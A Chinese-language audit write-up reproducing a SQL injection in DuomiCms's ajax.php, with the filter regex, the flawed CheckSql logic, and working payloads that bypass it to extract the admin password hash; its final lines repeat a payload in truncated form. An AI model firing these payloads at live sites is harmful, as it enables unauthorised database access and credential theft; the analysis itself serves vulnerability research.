DuomiCms x3.0前台duomiphp/ajax.php SQL注入漏洞审计复现
参考链接:https://xz.aliyun.com/t/2828#toc-3
CNVD 的漏洞通告:DuomiCms x3.0前台duomiphp/ajax.php文件存在SQL注入漏洞 ,直接从ajax.php开始入手。这里使用duomicms v1.2,这部分代码与v 3.0一致。
ajax.php所有与sql语句有关的代码如下:
可以看到这里大多数 SQL 语句使用了拼接,而拼接用的变量又多数是全局变量,我们在前面的代码执行漏洞中,提到程序有注册变量的行为,这样容易造成变量覆盖
$id = (isset($id) && is_numeric($id)) ? $id : 0;
$sql="select v_digg,v_tread,v_score,v_scorenum from duomi_data where v_id=".$id;
$sql="select n_digg,n_tread,n_score,n_scorenum from duomi_news where n_id=".$id;
global $id,$dsql,$score;
$dsql->ExecuteNoneQuery("Update `duomi_data` set v_scorenum=v_scorenum+1,v_score=v_score+".$score." where v_id=$id"
global $id,$uid,$dsql;
$row = $dsql->GetOne("Select id From `duomi_favorite` where vid=$id and uid=$uid ");
可以看到虽然$id
拼接在SQL语句的末尾,且没有被引号包裹。非常好利用,但是对id变量进行了类型判断,必须是数字,所以没办法直接利用。而$score
变量在SQL语句中被引号包裹了,如果引入注释符号话,会触发 duomiphp/sql.class.php 文件的SQL检测规则
还有 $uid 变量,该变量为全局变量,可以由用户控制,而且其位置在SQL语句最后,两边也没有引号包裹,很好利用。
提交的$uid
变量会经过duomiphp/webscan.php 文件的 $getfilter 规则检查,然后经过duomiphp/common.php 文件 _RunMagicQuotes 函数的转义并注册成全局变量。
webscan.php检查规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
根据我们传入的 action=addf ,我们直接进入了 duomiphp\ajax.php 文件的 addfav 方法。然后直接拼接SQL语句,进入 duomiphp\sql.class.php 文件的 GetOne 方法。接着在 GetOne 方法中调用了 $this->Execute(“one”);
在 Execute 方法中,我们最需要关注的就是 CheckSql 方法的实现。首先,如果是 select 语句,会先经过下面的正则,这里过滤了一些特殊语法,不允许我们使用联合查询。
接下来是while
语句将处理后的数据库查询语句$db_string
存在$clean
中
然后用于检测的是 $clean
变量,最后返回的却是 $db_string
。所以我们只要在 $clean
变量中不出现敏感词,即可绕过SQL语句的检测。
到这,根据代码逻辑已经可以构造POC验证漏洞的存在
ajax.php?action=addfav&id=1&uid=1 and extractvalue(1,concat_ws(0x3A,0x3A,version()))
但是要查询一些重要信息还是的绕过这里的安全检查
具体看一下while
中的程序。该函数会先搜索第一个单引号的下标,取引号前面的字符串给 $clean
,然后将第一个引号和第二个引号之间的字符用 $s$
来代替,最后取第二个引号之后的内容给 $clean
变量。
构造payload
ajax.php?action=addfav&id=1&uid=1 and `'`.``.vid and extractvalue(1,concat_ws(0x3A,0x3A,(select`password` from`duomi_admin` limit 1))) and `'`.``.vid
经过webscan.php检查后引号在commen.php中被addslashes转义
1 and `\'`.``.vid and extractvalue(1,concat_ws(0x3A,0x3A,(select`password` from`duomi_admin` limit 1))) and `\'`.``.vid
然后到CheckSql函数的while部分处理,处理后获得的 $clean
(如下)可以绕过下面的 SQL 检测,然后程序又将 $db_string
原样返回,此时也就造成了SQL注入。
// $clean
select id from `duomi_favorite` where vid=1 and uid=10101 and `\$s$`.``.vid
// $db_string
Select id From `duomi_favorite` where vid=1 and uid=10101 and `\'`.``.vid and extractvalue(1,concat_ws(0x3A,0x3A,(select`password` from`duomi_admin` limit 1))) and `\'`.``.vid
也可以使用下面的payload(可以去除语句中的`符号)
uid=1 and `'`.``.vid and extractvalue(1,concat_ws(0x3A,0x3A,(select password from duomi_admin limit 1))) and `'`.``.vid
tractvalue(1,concat_ws(0x3A,0x3A,(select password from duomi_admin limit 1))) and '
.``.vid